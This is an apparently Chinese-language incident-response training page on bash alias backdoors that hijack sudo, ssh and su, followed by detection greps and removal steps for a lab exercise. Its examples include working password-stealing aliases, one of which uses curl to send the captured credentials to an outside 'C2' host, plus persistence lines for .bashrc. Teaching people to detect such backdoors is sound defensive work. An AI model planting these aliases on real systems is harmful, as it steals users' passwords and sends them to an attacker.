Alias 后门 — 通过 Shell 别名劫持命令
利用 bash alias 机制劫持常用命令(sudo, ssh, su),在执行原始命令前/后插入恶意操作
关联:18-Bashrc与Profile后门 | 04-账户安全排查
Alias 后门原理
Shell Alias 机制
alias 是 bash 内置功能,用于为命令创建快捷方式
alias 优先级高于外部命令(sudo 先匹配 alias,再找 /usr/bin/sudo)
1 2 3 4 5 6 7 8 9 10 11
| alias ll='ls -la' alias grep='grep --color=auto'
alias -p
type sudo type ssh type su
|
为什么 Alias 后门有效
用户习惯性输入 sudo,不会意识到已被劫持
别名执行后仍然调用原始命令,用户体验无异常
写入 .bashrc 即可持久化
常见 Alias 后门类型
类型1:sudo 密码窃取
劫持 sudo,在用户输入密码时记录
1 2 3 4 5 6 7
| alias sudo='function _sudo(){ read -sp "[sudo] password for $(whoami): " passwd echo "" echo "$passwd" >> /tmp/.sudo_log echo "$passwd" | /usr/bin/sudo -S "$@" }; _sudo'
|
用户输入 sudo apt update 时:
- 显示正常的密码提示
- 密码被记录到
/tmp/.sudo_log
- 用记录的密码执行真正的 sudo
- 用户毫无察觉
类型2:ssh 凭据窃取
1 2 3 4 5 6
| alias ssh='function _ssh(){ # 记录 SSH 连接信息 echo "$(date) ssh $@" >> /tmp/.ssh_log # 调用真正的 ssh /usr/bin/ssh "$@" }; _ssh'
|
类型3:su 密码窃取
1 2 3 4 5 6
| alias su='function _su(){ read -sp "Password: " passwd echo "" echo "$(date) su passwd=$passwd" >> /tmp/.su_log echo "$passwd" | /usr/bin/su "$@" }; _su'
|
类型4:外发型(通过网络发送凭据)
1 2 3 4 5 6 7
| alias sudo='function _sudo(){ read -sp "[sudo] password for $(whoami): " passwd echo "" # 通过 curl 将密码外发到 C2 curl -s -X POST -d "host=$(hostname)&user=$(whoami)&pass=$passwd" http://10.10.14.33:8080/creds &>/dev/null & echo "$passwd" | /usr/bin/sudo -S "$@" }; _sudo'
|
类型5:命令记录型
1 2 3
| alias sudo='/usr/bin/sudo' export PROMPT_COMMAND='echo "$(date "+%Y-%m-%d %H:%M:%S") $(whoami) $(history 1)" >> /tmp/.cmd_log'
|
持久化位置
alias 后门通常写入以下文件实现持久化
| 文件 |
作用域 |
触发条件 |
~/.bashrc |
当前用户 |
每次打开终端 |
~/.bash_aliases |
当前用户 |
被 .bashrc 自动 source |
~/.bash_profile |
当前用户 |
登录时 |
/etc/bash.bashrc |
所有用户 |
每次打开终端 |
/etc/profile.d/*.sh |
所有用户 |
登录时 |
1 2 3 4
| echo 'alias sudo="..."' >> ~/.bashrc
echo 'alias sudo="..."' > ~/.bash_aliases
|
检测方法
快速检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| alias -p
type sudo type ssh type su type wget type curl
which sudo command -V sudo
\sudo ls /usr/bin/sudo ls command sudo ls
|
全面扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| grep -rn "^alias \|alias sudo\|alias ssh\|alias su\|alias wget\|alias curl" \ /root/.bashrc /root/.bash_aliases /root/.bash_profile /root/.profile \ /home/*/.bashrc /home/*/.bash_aliases /home/*/.bash_profile \ /etc/bash.bashrc /etc/profile /etc/profile.d/ \ 2>/dev/null
grep -rn "function _sudo\|function _ssh\|function _su" \ /root/.bashrc /home/*/.bashrc /etc/bash.bashrc /etc/profile.d/ \ 2>/dev/null
echo $PROMPT_COMMAND grep -rn "PROMPT_COMMAND" /root/.bashrc /home/*/.bashrc /etc/bash.bashrc 2>/dev/null
|
对比基线
1 2 3 4 5
| alias -p > /tmp/current_aliases.txt
|
清除方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unalias sudo unalias ssh unalias su
vim ~/.bashrc vim ~/.bash_aliases
source ~/.bashrc
type sudo
|
实战练习
配套实验:labs/17-persistence-misc/(包含 Alias、Vim Modeline、inetd 三种后门)
排查目标
发现被劫持的命令
找到 alias 后门的持久化位置
找到被窃取的凭据文件
清除后门并验证